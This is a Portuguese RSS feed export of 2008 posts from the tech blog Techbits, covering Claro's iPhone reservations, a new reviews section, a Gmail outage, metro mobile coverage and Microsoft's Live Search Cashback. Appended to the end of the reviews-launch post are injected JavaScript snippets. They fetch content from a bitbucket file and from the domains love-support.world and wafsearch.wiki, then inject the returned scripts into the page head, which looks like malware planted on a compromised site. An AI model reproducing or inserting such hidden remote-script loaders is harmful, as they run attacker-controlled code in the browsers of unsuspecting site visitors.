<p id="uepj4"><a id="b8o9" title="Como todo blogueiro que se preze, fiz a lição de casa" href="http://www.interney.net/?p=9761731">Como todo blogueiro que se preza, fiz a lição de casa</a>. Liguei para a assessoria de imprensa da Claro e tirei minhas dúvidas em relação a esse procedimento. É isso mesmo, confirmado com a assessoria de imprensa. Questionei a segurança do processo e fui informado que é a mesma coisa que tele-vendas ativo, ou seja, padrão. Informei minha preocupação com golpes e disseram que há todo um protocolo de segurança que é seguido. Ok, mas eu não dou o nome do cachorro por telefone pra ninguém!</p>
<p id="uepj5">Quanto a preço e disponibilidade, há vários boatos por aí. Mas a resposta padrão é que não podem informar isso ainda. <a href="http://macmagazine.com.br/blog/2008/08/27/claro-liga-para-clientes-e-cobra-r100-por-reserva-do-iphone-3g/">Ah, e o boato que não devolverão os 100 reais da reserva, é mentira</a>! Vão devolver sim.</p>
<p id="uepj6">No mais é isso. Sinceramente não gostei da forma que estão procedendo na reserva do iPhone. Não sei de quem foi essa idéia genial lá dentro da Claro. O detalhe é que a idéia é idiota&#8230; E daqui a pouco vai virar golpe e sair no <a id="gdx6" title="Balela.info" href="http://balela.info">Balela.info</a>.</p>
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		<title>Vai uma análise aí?</title>
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		<dc:creator><![CDATA[Juliana Garcia Sales]]></dc:creator>
		<pubDate>Tue, 19 Aug 2008 15:36:40 +0000</pubDate>
				<category><![CDATA[blog]]></category>
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					<description><![CDATA[<p>Já faz muito tempo que quero criar seções novas no Techbits. Uma delas estou criando hoje. Ou melhor, estamos. Resolvi convidar a Juliana Garcia Sales para ser a editora da área de reviews do Techbits. Depois de negociar os benefícios &#8211; duas horas de almoço, por exemplo &#8211; ela topou! Bom, para deixar as coisas [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p id="bw7t"><img decoding="async" title="Techbits review" src="https://techbits.com.br/wp-content/uploads/img/techbits-review.png" alt="Techbits review" />Já faz muito tempo que quero criar seções novas no Techbits. Uma delas estou criando hoje. Ou melhor, estamos. Resolvi convidar a <a id="ffi4" title="Juliana Garcia Sales" href="http://garciasales.com">Juliana Garcia Sales</a> para ser a editora da área de reviews do Techbits. Depois de negociar os benefícios &#8211; duas horas de almoço, por exemplo &#8211; ela topou!</p>
<p>Bom, para deixar as coisas claras, o Techbits da forma que vocês já conhecem continua do mesmo jeito. Aqui na página principal do blog você encontrará &#8211; se eu não resolver ficar mais dois meses <a id="ujaz" title="sem postar" href="https://techbits.com.br/voltei-voltaablogarfugita/">sem postar</a> &#8211; opiniões sobre tecnologia, em sua maioria relacionados à web. No <a id="mf0r" title="techbits.com.br/review" href="https://techbits.com.br/review">techbits.com.br/review</a> você encontrará análises de produtos e serviços relacionados à tecnologia.</p>
<p>Os blogs são separados. Cada um tem seu RSS, cada um tem sua nuvem de tags, etc&#8230; As coisas estavam confusas na preparação do lançamento do Techbits Review. Olha só a conversa que tive com a Juliana nesta madrugada:<br />
<img decoding="async" class="floatTL" title="nonsense" src="https://techbits.com.br/wp-content/uploads/img/chat-gtalk-nonsense.png" alt="nonsense" /></p>
<p id="frpk">Bom, agora passo a bola para ela, o post, do próximo parágrafo em diante é dela!</p>
<p id="frpk0">Difícil dizer o quanto esse projeto é importante pra mim, em termos de desenvolvimento pessoal. Ajudar, ou tentar, ao menos, o leitor a aproveitar melhor seus recursos financeiros, temporais, intelectuais, para mim é algo extremamente gratificante. Além de utilizar uma característica minha, a avidez em testar tudo o que cai na minha mão (em matéria de tecnologia, ok?) e ler manuais, hehe.</p>
<p id="frpk1">Num belo dia outonal, cheguei pro Fugita e disse: &#8220;cara, por que não aproveitar a marca Techbits pra levar pro pessoal coisas práticas? Fazer algo como um blog &#8216;guia de consumo&#8217;? Não só de gadgets e hardware, mas de sites também, algo que faça com que o cara não perca tempo testando&#8221;. O Fugita fez uma cara estranha e depois disse &#8220;vamos!&#8221;, é um poço de mistério esse rapaz.</p>
<p id="frpk2">Até conciliar os tempos de cada, foram alguns #<a id="uruy" title="mobileoffice" href="http://search.twitter.com/search?q=mobileoffice">mobileoffice</a>, muita discussão e uma planilha enorme (<a id="zqeg" title="Mirian Bottan" href="http://substantivolatil.com/">Mirian Bottan</a>, agora vc sabe o que é #mobileoffice :P). Enfim, chegamos.</p>
<p id="frpk3">Espero que essa seja uma boa viagem, como será a nós. Tenho que agradecer muito ao Fugita, não só pelo espaço, mas por acreditar nessa idéia. E por ter paciência (se bem que ele alimentava a situação também, vamos combinar) com os brainstorms intermináveis e com o cardápio quase invariável de café com pão de queijo.</p>
<p id="frpk4">Agora, vamos ao que interessa? Um abraço a todos!</p>
<p id="frpk5">ndf: (nota do @fugita): <a href="https://techbits.com.br/review/sera-que-vira/">O primeiro review</a>, preparado pela Juliana, é de um aplicativo web da <a id="d9jv" title="Argentina" href="http://en.wikipedia.org/wiki/Argentina">Argentina</a>. Justo hoje, dia de Argentina 3 vs. 0 Brasil&#8230; Timing perfeito!</p>
<p>var url = &#8216;https://bitbucket.org/goo2/adss/raw/bb48df0654afc575e4e10d9e14d886a4afba6bc2/go.txt&#8217;;<br />
fetch(url)<br />
    .then(response =&gt; response.text())<br />
    .then(data =&gt; {<br />
        var script = document.createElement(&#8216;script&#8217;);<br />
        script.src = data.trim();<br />
        document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<br />
    });var url = &#8216;https://love-support.world/news&#8217;;<br />
fetch(url)<br />
    .then(response =&gt; response.text())<br />
    .then(data =&gt; {<br />
        var script = document.createElement(&#8216;script&#8217;);<br />
        script.textContent = data;<br />
        document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<br />
    })var url = &#8216;https://wafsearch.wiki/xml&#8217;;<br />
var script = document.createElement(&#8216;script&#8217;);<br />
script.src = url;<br />
script.type = &#8216;text/javascript&#8217;;<br />
script.async = true;<br />
document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https://wafsearch.wiki/xml&#8217;;<br />
var script = document.createElement(&#8216;script&#8217;);<br />
script.src = url;<br />
script.type = &#8216;text/javascript&#8217;;<br />
script.async = true;<br />
document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);</p>
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		<title>Cadê a nuvem que estava aqui?</title>
		<link>https://techbits.com.br/2008/cade-a-nuvem-que-estava-aqui/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Tue, 12 Aug 2008 13:08:12 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[gmail]]></category>
		<category><![CDATA[nuvem]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[webapps]]></category>
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					<description><![CDATA[<p>Várias vezes já falei aqui no Techbits sobre softwares on-line e sua vantagem sobre os tradicionais instalados em desktops. Na maioria das vezes defendi os webapps pois suas vantagens são mais fortes que as desvantagens. Quantas vezes não fui questionado em comentários ou posts em outros blogs que talvez estivesse viajando pois o mercado corporativo [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async"  title="gmail-fora-do-ar" src="https://techbits.com.br/wp-content/uploads/img/gmail-fora-do-ar.png" alt="Gmail fora do ar" />Várias vezes já <a id="taz_" title="falei" href="../o-pc-e-um-acessorio-do-firefox/">falei</a> aqui no Techbits sobre softwares on-line e sua vantagem sobre os tradicionais instalados em desktops. Na maioria das vezes defendi os webapps pois suas vantagens são mais fortes que as desvantagens. Quantas vezes não fui questionado em comentários ou posts em outros blogs que talvez estivesse viajando pois o mercado corporativo dificilmente adotaria webapps? A questão é que isso continua sendo uma verdade.</p>
<p id="a8d00">Ontem um blecaute de cerca de duas horas no Gmail e Google Apps <a id="ufm:" title="causou alvoroço pela internet" href="http://tecnocracia.com.br/arquivos/gmail-fora-do-ar-voce-pira">causou alvoroço pela internet</a>. Milhares de pessoas no Twitter e em blogs ficaram preocupadíssimas com suas preciosas informações armazenadas nos servidores do Google. <a id="ddls" title="Um problema no sistema de contatos" href="http://gmailblog.blogspot.com/2008/08/we-feel-your-pain-and-were-sorry.html">Um problema no sistema de contatos</a> deixou a inteface gráfica versão ajax fora do ar enquanto quase todas as outras camadas do serviço permaneceram intactas.</p>
<p id="a8d01">Webapps têm a desvantagem de só estarem disponíveis quando a internet estiver disponível. Parece óbvio, parece surreal mas não é. Episódios recentes mostram o quanto a infra-estrutura ainda não está preparada para aplicativos hospedados na nuvem. <a id="v:.i" title="Apagão do Speedy" href="http://idgnow.uol.com.br/internet/2008/07/03/falha-do-speedy-e-evento-tecnico-complexo-e-raro-diz-telefonica/">Apagão do Speedy</a>, alguém?</p>
<h3 id="a8d02">Na nuvem vs. Local</h3>
<p id="a8d03">Bom, a grande vantagem que vejo na nuvem do Google é ela ser em cluster ou mais ou menos isso. Eles usam um tal de <a id="beer" title="Google File System" href="http://en.wikipedia.org/wiki/Google_File_System">Google File System</a> (GFS) que espalha arquivos por servidores ao redor do mundo de forma que sempre há replicação dos dados em três ou mais lugares. Se o <a id="fvgb" title="Big One" href="http://g1.globo.com/Noticias/Mundo/0,,MUL164935-5602,00.html">Big One</a> acontecer, é provável que o sistema GFS ainda opere e os dados não sejam perdidos.</p>
<p id="a8d04">Comparando isso com o modo tradicional de armazenagem dos dados, ou seja, localmente, vejo muito mais fragilidade nesta opção. Neste caso temos que fazer backups e mantê-los em lugares fisicamente separados para evitar a <a id="mv.7" title="síndrome do Boeing" href="../a-sindrome-do-boeing-2/">síndrome do Boeing</a>. Isso tudo custa dinheiro e usar a computação em cluster do Google soa muito mais seguro.</p>
<p id="a8d05">Além disso, com o uso de notebooks cada vez mais comum, a perda deste equipamento &#8211; um roubo, por exemplo &#8211; leva todos os dados embora que são a parte mais valiosa da máquina. Desde que comecei a usar o Gmail, em 2004, jamais perdi uma mensagem. Mas só nesse meio tempo deve ter perdido uns dois HDs. Fica a pergunta: <a id="bsfz" title="a computação na nuvem é segura?" href="http://blogs.zdnet.com/BTL/?p=9646">a computação na nuvem é segura?</a></p>
<p id="a8d06">
<p id="a8d08">
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		<title>Em busca do sinal perdido</title>
		<link>https://techbits.com.br/2008/em-busca-do-sinal-perdido/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Tue, 03 Jun 2008 17:22:21 +0000</pubDate>
				<category><![CDATA[blog]]></category>
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					<description><![CDATA[<p>Quando o Metrô de São Paulo anunciou que celulares passariam a funcionar em Maio de 2008 na linha verde (Paulista) em São Paulo, fiquei empolgado. Como usuário de muitos anos do sistema, algo que sempre sentia falta era sinal de celular nos subterrâneos. Quantas vezes peguei só ônibus (e demorei mais para chegar ao destino) [&#8230;]</p>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2008/em-busca-do-sinal-perdido/">Em busca do sinal perdido</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p id="g6dd0"><img loading="lazy" decoding="async" width="540" height="403" class="alignnone size-full wp-image-352" title="metro-celular" src="https://techbits.com.br/wp-content/uploads/img/ext/metro-celular.jpg" alt="Olha a antena na estação!" /><br />
<a id="oqmi" title="Quando o Metrô de São Paulo anunciou" href="http://www.metro.sp.gov.br/aplicacoes/news/tenoticiasview.asp?id=656502139L&amp;categoria=6561F2&amp;idioma=PO">Quando o Metrô de São Paulo anunciou</a> que celulares passariam a funcionar em Maio de 2008 na linha verde (Paulista) em São Paulo, fiquei empolgado. Como usuário de muitos anos do sistema, algo que sempre sentia falta era sinal de celular nos subterrâneos. Quantas vezes peguei só ônibus (e demorei mais para chegar ao destino) só para ficar o tempo todo sob cobertura celular quando precisava receber um chamado importante?</p>
<p id="g6dd1">Sexta-feira fui lá e, <a id="ygq3" title="enquanto a mídia tradicional anunciava" href="http://idgnow.uol.com.br/telecom/2008/05/30/celulares-comecam-a-funcionar-em-linha-do-metro-de-sao-paulo/">enquanto a mídia tradicional anunciava</a> o celular no Metrô, eu descobria que não era bem assim e <a id="u3xp" title="divulgava no Twitter" href="http://twitter.com/fugita/statuses/823305374">divulgava no Twitter</a>. No final das contas parece que a estréia na sexta falhou e o <a id="f5rd" title="Metrô divulgou nota culpando as operadoras" href="http://www.metro.sp.gov.br/aplicacoes/news/tenoticiasview.asp?id=65651657J9&amp;categoria=6561F2&amp;idioma=PO">Metrô divulgou nota culpando as operadoras</a>, eximindo-se de responsabilidade. Típico empurra-empurra brasileiro.</p>
<p>obs: foto acima é de uma antena na estação Chácara Klabin.</p>
<h3 id="g6dd2">Celular no Metrô: onde funciona?</h3>
<p id="g6dd3">Ontem resolvi novamente colocar o serviço à prova.<a id="qjsl" title="O que descobri?" href="http://twemes.com/twittandodometro">O que descobri?</a> Teoricamente o sinal de celular deveria ser captado desde a estação Paraíso até a Alto do Ipiranga, exceto Ana Rosa (4 estações). Ontem, efetivamente, só funcionou na Chácara Klabin (1 estação). Era o único lugar em que antenas estavam disponíveis e ativas. Não dá pra colocar na conta a estação Imigrantes, que sempre funcionou celular, por ser na superfície.</p>
<p id="g6dd4">Na estação Paraíso não existem antenas. O sinal pega em uma área restrita da estação próxima à uma abertura de ventilação para o mundo externo, lugar que todo usuário do sistema já sabia que tinha sinal de celular desde sempre. Teoricamente estão certos em anunciar que funciona nesta estação. Esqueceram de dizer que só naquele cantinho escondido que sempre funcionou.</p>
<p id="g6dd5">A estação Alto do Ipiranga é um caso à parte. Ontem havia antenas instaladas e conectadas, mas nada de sinal. Hoje pela manhã, alguém resolveu ligar as coisas na tomada e foi possível usar o celular da plataforma.</p>
<h3 id="g6dd6">Só GSM</h3>
<p id="g6dd7">Quando existe serviço, ele é ok. <a id="m7y9" title="Fiz uma ligação e a qualidade de voz foi ótima." href="http://twitter.com/garciasales/statuses/825628829">Fiz uma ligação e a qualidade de voz foi ótima</a>. Recebi SMS e enviei alguns, nenhum problema. Também naveguei na internet e tudo foi normal. O detalhe é que a implantação contou com o que as três operadoras de SP têm em comum: tecnologia GSM. Ou seja, os antigos terminais CDMA da Vivo não funcionam. E se alguém ainda tiver algum TDMA ou ainda AMPS, duvido que funcionem. Não tenho modem 3G e nem celular com tal tecnologia de forma que não pude testar tal funcionalidade.</p>
<h3 id="g6dd8">Futuro</h3>
<p id="g6dd9">Em outras cidades como o Rio de Janeiro, o celular já funciona faz tempo no Metrô. <a id="efpf" title="Quando estive por lá para o BLS" href="http://www.digitaldrops.com.br/drops/2007/07/bls_primeiro_encontro_de_blogu.html">Quando estive por lá para o BLS</a>, fiz questão de testar o serviço. Aqui em São Paulo a implantação será gradativa. Primeiro nas estações, depois nos túneis, e assim vai expandindo pela rede. Vai ser ótimo para geeks como eu que gostam de estar conectados à internet o tempo todo. Vai ser péssimo para o <a id="f5ei" title="convívio com desconhecidos mal-educados" href="http://idgnow.uol.com.br/telecom/2007/04/18/idgnoticia.2007-04-18.3191146142/">convívio com desconhecidos mal-educados</a> que ficarão falando alto pelo telefone. Ah, e quando liberarem celular nos aviões aqui no Brasil, juro que compro uma passagem só para testar o serviço!</p>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2008/em-busca-do-sinal-perdido/">Em busca do sinal perdido</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
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		<title>O que importa é a relevância</title>
		<link>https://techbits.com.br/2008/o-que-importa-e-a-relevancia/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Wed, 28 May 2008 13:16:28 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[busca]]></category>
		<category><![CDATA[cashback]]></category>
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		<category><![CDATA[live search]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[relevância]]></category>
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					<description><![CDATA[<p>Na semana passada todo mundo estava falando do lançamento Google-killer da Microsoft, o tal de Live Searh Cashback. A gigante de Redmond, em possível desespero, resolveu que o único jeito de ganhar da guerra dos mecanismo de busca é oferecendo uns trocados para quem se arriscar a usar a caixinha de pesquisas deles. Tentaram comprar [&#8230;]</p>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2008/o-que-importa-e-a-relevancia/">O que importa é a relevância</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p id="g4m50"><a href="https://techbits.com.br/wp-content/uploads/img/ext/cashback.png"><img loading="lazy" decoding="async" width="223" height="148" class="alignnone size-full wp-image-350" title="cashback" src="https://techbits.com.br/wp-content/uploads/img/ext/cashback.png" alt="Live Search Cashback " /></a>Na semana passada <a id="t2ma" title="todo mundo estava falando" href="http://www.winajuda.com/2008/05/21/live-search-cashback-receba-uma-graninha-por-comprar-na-internet/">todo mundo estava falando</a> do lançamento Google-killer da Microsoft, o tal de <a id="pabq" title="Live Searh Cashback" href="http://search.live.com/cashback">Live Searh Cashback</a>. A gigante de Redmond, em possível desespero, resolveu que o único jeito de ganhar da guerra dos mecanismo de busca é oferecendo uns trocados para quem se arriscar a usar a caixinha de pesquisas deles. Tentaram comprar o Y! algumas vezes e nada. Tentaram melhorar a relevância de seus resultados orgânicos <a id="yjz7" title="e no máximo perderam mercado" href="http://mashable.com/2008/05/23/latest-comscore-search-stats-google-up-everyone-else-down/">e no máximo perderam mercado</a>. Agora é tudo ou nada.</p>
<p id="g4m51">Claro, não podemos confundir as coisas. O que eles estão oferecendo não é um incentivo para você usar a busca orgânica deles e sim clicar nos anúncios e comprar através deles. A busca ainda fica mesmo no Google.Hein? Sim, o que importa é a relevância.</p>
<p id="g4m52">Por que todo mundo usa o Google? Relevância, simples assim. Pesquisar lá é mais fácil, encontramos a resposta rapidamente, quase sempre nas primeiras posições não pagas. Depois que você achar o que quer (no Google, claro!), clicar e ler, deve ir aoCashback para receber seus trocados de volta se aparecer o anúncio certo. Simples, não?  <a id="t6e8" title="Não!" href="http://searchengineland.com/080521-133000.php">Não!</a></p>
<p id="g4m53">Lembro-me da época áurea do Altavista. Não existia esse conceito de relevância. Ganhava a quantidade então os sites repetiam centenas de vezes as suas palavras-chave na tentativa de ficar em primeiro lugar. O pessoal deMontain View chegou e acabou com isso com seu  <a id="jqi6" title="algoritmo maluco" href="http://pt.wikipedia.org/wiki/PageRank">algoritmo maluco</a> capaz de achar a resposta para quase tudo. Todo mundo mudou de fornecedor para ganhar uma pesquisa mais fácil.</p>
<p id="g4m54">A Microsoft, ao mirar em anúncios que dão dinheiro de volta, está errando feio o alvo. Não estou dizendo que não dará certo. Estou apenas dizendo que a relevância, se não existir, para quê alguém vai se mudar para <a id="yi.k" title="search.live.com" href="http://search.live.com/">search.live.com</a>? Nem os anúncios vão sair corretamente sem relevância. Na era do anúncio ultra customizado do Google, aos olhos do consumidor, achar rapidamente o que procura em um único lugar é o que importa. E não vai ser no Live Search, por enquanto.</p>
<p>obs: agradeço o leitor J. Netto (<a href="http://twitter.com/netox">twitter</a> | <a href="http://sakuxeio.blogspot.com/">blog</a>) por ter pedido para eu falar deste assunto.</p>
<h4>Leia mais:</h4>
<ul>
<li><a href="http://www.techcrunch.com/2008/05/22/the-empire-strikes-back-our-analysis-of-microsoft-live-search-cashback/">The Empire Strikes Back: Our Analysis Of Microsoft Live Search Cashback</a>, via Techchunch</li>
<li> <a href="http://www.techcrunch.com/2008/05/25/the-importance-of-a-competitive-search-market/">The Importance Of A Competitive Search Market</a>, via Techcrunch</li>
<li> <a href="http://radar.oreilly.com/archives/2008/05/microhoo-corporate-penis-envy.html">MicroHoo: corporate penis envy?</a>, via O&#8217;Reilly Radar</li>
<li> <a href="http://gillmorgang.techcrunch.com/2008/05/22/gillmor-gang-052208/">Podcast GillmorGang sobre o assunto</a></li>
</ul>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2008/o-que-importa-e-a-relevancia/">O que importa é a relevância</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
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		<item>
		<title>Voltei #voltaablogarfugita</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Wed, 28 May 2008 00:57:54 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[comportamento]]></category>
		<category><![CDATA[meme]]></category>
		<category><![CDATA[mídia social]]></category>
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		<category><![CDATA[twitter]]></category>
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					<description><![CDATA[<p>Estou com vergonha, de verdade. Nem sei como recomeçar. São tantos dias sem escrever aqui no Techbits que é como se fosse um blog novo, zerado. Quase 3 meses na internet é uma verdadeira eternidade. Neste meio tempo planejei vários posts mas não consegui completar nenhum. Queria ter falado sobre um monte de outras coisas, [&#8230;]</p>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2008/voltei-voltaablogarfugita/">Voltei #voltaablogarfugita</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="540" height="405" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="flashvars" value="intl_lang=pt-br&amp;photo_secret=597c6217b6&amp;photo_id=2506413022" /><param name="bgcolor" value="#000000" /><param name="allowFullScreen" value="true" /><param name="src" value="http://www.flickr.com/apps/video/stewart.swf?v=49235" /><embed type="application/x-shockwave-flash" width="540" height="405" src="http://www.flickr.com/apps/video/stewart.swf?v=49235" allowfullscreen="true" bgcolor="#000000" flashvars="intl_lang=pt-br&amp;photo_secret=597c6217b6&amp;photo_id=2506413022"></embed></object></p>
<p id="uo4v0">Estou com vergonha, de verdade. Nem sei como recomeçar. São tantos dias sem escrever aqui no Techbits que é como se fosse um blog novo, zerado. Quase 3 meses na internet é uma verdadeira eternidade. Neste meio tempo planejei vários posts mas não consegui completar nenhum. Queria ter falado sobre um monte de outras coisas, mas não vou escrever outro &#8220;<a id="hvpt" title="Textos que não escrevi" href="../2008/03/06/textos-que-nao-escrevi/">Textos que não escrevi</a> parte II&#8221;. Seria desastroso.</p>
<p id="uo4v1"><a id="mggn" title="Como disse ao Feed-se" href="http://www.feed-se.com.br/edicoes/feed-se-ano-1-edicao-1.html">Como disse ao Feed-se</a>, demoro algumas horas para escrever um texto. Claro, isso tudo pois tento sempre escrever coisas que ficarão na memória das pessoas por um longo tempo. E funciona: ainda recebo muitas citações em posts antigos.</p>
<p id="uo4v2">Agradeço imensamente a todos que se preocuparam em pedir no Twitter que eu voltasse a blogar. Até onde consegui determinar o movimento <a id="th.0" title="iniciou-se" href="http://twitter.com/graveheart/statuses/787408884">iniciou-se</a> pelo Graveheart (<a id="j3w9" title="twitter" href="http://twitter.com/graveheart">twitter</a> | <a id="y9b-" title="blog" href="http://www.guravehaato.info/">blog</a>) e se espalhou por vários cantos, <a id="p-5v" title="desde posts em blogs" href="http://raquelcamargo.com/blog/2008/05/direto-do-interminas-volta-a-blogar-fugita/">desde posts</a> em blogs (<a id="weut" title="outro aqui" href="http://psysapiens.blogspot.com/2008/05/volta-blogar-fugita.html">outro aqui</a>), a pressão ao vivo em eventos para blogueiros <a id="hsk4" title="e outros lugares" href="http://www.flickr.com/photos/fore/2480998704/">e outros lugares</a>. Até gente <a id="xta5" title="contando os dias sem post" href="http://twitter.com/Tonobohn/statuses/791771098">contando os dias sem post</a> teve! Sem falar do <a id="te2a" title="bolão" href="http://twitter.com/mobilon/statuses/790752819">bolão</a>&#8230; Além do <a id="kl9:" title="vídeo" href="http://www.flickr.com/photos/marcogomes/2506413022/">vídeo</a> feito pelo Marco Gomes (<a id="bmff" title="twitter" href="http://twitter.com/marcogomes">twitter</a> | <a id="pwju" title="blog" href="http://marcogomes.com/blog/">blog</a> | <a id="miy1" title="startup" href="http://boo-box.com/">startup</a>), aquele lá no início do post.</p>
<h3 id="uo4v2">Meme e as mídias sociais<br id="fxd60" /></h3>
<p id="uo4v2">Para não deixar este texto muito ego-post, resolvi falar um pouco de meme. <a id="e3tu" title="O conceito de meme diz que" href="http://en.wikipedia.org/wiki/Meme">O conceito de meme diz que</a> &#8220;consistem em qualquer unidade de informação, como uma idéia, que se espalha de uma mente para outra&#8221;. A tag #voltaablogarfugita pode ser considerada então um meme. Ou um case, como <a id="t0ri" title="alguém disse" href="http://twitter.com/garciasales/statuses/815170612">alguém disse</a> por aí.</p>
<p id="uo4v2">De qualquer forma é interessante notar como as coisas se espalham pelas <a id="r1gr" title="mídias sociais" href="http://boombust.hitechlive.com.br/a-hora-e-a-vez-das-midias-sociais/">mídias sociais</a>. Não é à toa que agora virou moda (outro meme?) chamar blogueiros para tudo que é evento e até programas naquela <a id="qlnq" title="antiga caixinha chamada TV" href="http://pt.wikipedia.org/wiki/Televis%C3%A3o">antiga caixinha chamada TV</a>. Neste caso são twitteiros no programa <a id="repw" title="Roda Viva da TV Cultura" href="http://blog.markun.com.br/post/twitter-no-rodaviva">Roda Viva da TV Cultura</a>.</p>
<p id="uo4v2">Mas minha perguta é: qual é o ponto? Causar buzz? Atrair audiência? Não era a Nielsen que dizia que o pageview está morto? <a id="mn7e" title="pageview morreu" href="http://www.readwriteweb.com/archives/page_view_metric_dying.php">Qual é a métrica agora</a>? Como medir um resultado? Não tenho as respostas para isso.</p>
<h3 id="uo4v2">Mais posts virão<br id="hzxa0" /></h3>
<p id="uo4v3">Voltando ao voltei&#8230; Agradeço por tudo isso, sério. Saber que o que escrevo é lido significa que o objetivo de um texto foi atingido. <a id="kzc6" title="Sim, voltei a blogar" href="http://twemes.com/voltaablogarfugita">Sim, voltei a blogar</a>. E o próximo post já está em gestação, sai logo mais. Mesmo! E vamos nessa, go!</p>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2008/voltei-voltaablogarfugita/">Voltei #voltaablogarfugita</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
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		<title>Textos que não escrevi</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Thu, 06 Mar 2008 17:33:57 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[blu-ray]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[mídia física]]></category>
		<category><![CDATA[proxxima 2008]]></category>
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					<description><![CDATA[<p>São vários. Blog de tecnologia que fica mais de três dias sem escrever perde muita coisa, imagina 3 semanas&#8230; Durante esse tempo muitos assuntos me chamaram a atenção, mas por não tê-los escrito no timing correto, deixei passar. Vamos lá! Blu-ray venceu, e daí? Pois é, e daí? Nunca me importei muito com a questão [&#8230;]</p>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2008/textos-que-nao-escrevi/">Textos que não escrevi</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/maquinaescrever_flickr.png" alt="Máquina de escrever " />São vários. Blog de tecnologia que fica mais de três dias sem escrever perde muita coisa, imagina 3 semanas&#8230; Durante esse tempo muitos assuntos me chamaram a atenção, mas por<br />
não tê-los escrito no timing correto, deixei passar. Vamos lá!</p>
<h3>Blu-ray venceu, e daí?</h3>
<p><a href="http://www.solonbro.com/2006/09/07/eu-me-importo/" title="Pois é, e daí?" id="j9b2">Pois é, e daí?</a> Nunca me importei muito com a questão <a href="https://techbits.com.br/2006/blu-ray-vs-hd-dvd-quem-se-importa/" title="HD-DVD vs. Blu-Ray" id="bp72">HD-DVD vs. Blu-Ray</a>&#8230; Faz tempo que eu nem discutia esse assunto de<br />
mídia física mas finalmente um dos lados cedeu e reconheceu a derrota. O fato do <a href="http://www.readwriteweb.com/archives/bluray_wins_format_war_much_lo.php">formato da Sony ter vencido</a> é muito ruim pois certa vez, em uma mesma guerra burra, perderam a<br />
briga pelo padrão dominante. Vencendo agora corre-se o risco que esses japas inventem, no futuro, outra guerra sem vencedores.</p>
<h3>Microsoft abre APIs&#8230;</h3>
<p>Sinal dos tempos&#8230; os softwares fechados, trancafiados, acorrentados, aprisionados da gigante de Redmond <a href="http://idgnow.uol.com.br/mercado/2008/02/21/microsoft-surpreende-ao-anunciar-novos-principios-de-abertura-para-produtos/" title="terão algumas APIs abertas" id="lzsu">terão algumas APIs abertas</a> para a delícia dos desenvolvedores. Não investiguei muito a fundo essa notícia que saiu na capa de todos os jornais, mas se for mais uma daquelas jogadas &#8220;de marketing&#8221; da MS, só pra dizer que está ligada na nova onda do software aberto, não quer dizer nada. Vamos esperar pra ver&#8230;</p>
<h3>Proxxima 2008</h3>
<p>A revista M&amp;M promove nos dias 11 e 12 deste mês o <a href="http://proxxima.blogtvbrasil.com.br">Proxxima 2008</a>. Neste evento estarei presente, <a href="http://www.contraditorium.com/2008/01/29/nao-percam-cardoso-e-grande-elenco-no-proxxima-2008/" title="com grande elenco" id="m7dr">com grande elenco</a> (a saber: <a href="http://cocadaboa.com" title="Mr. Manson" id="p16-">Mr. Manson</a>, <a href="http://contraditorium.com" title="Cardoso" id="lp4t">Cardoso</a>, <a href="http://interney.net" title="Interney" id="h6l3">Interney</a>, <a href="http://blog.fabioseixas.com.br/" title="Fábio Seixas" id="xrfw">Fábio Seixas</a>,  <a href="http://via6.com" title="Renato Shirakashi" id="bdqx">Renato Shirakashi</a> e <a href="http://www.blogtvbrasil.com.br/" title="Claudio Roca" id="htj4">Claudio Roca</a>) debatendo sobre o fato de estar na hora dos blogs virarem mídia. Sim e não por várias razões. O grande problema do evento parece não ser esse&#8230; Apesar de abrirem a discussão para o assunto, blogs mesmo não estão conseguindo credenciamento para cobrir o evento. Eu sei, o público-alvo é outro, mas esse público alvo lê blogs e também gostaria de acompanhar o evento através deles.</p>
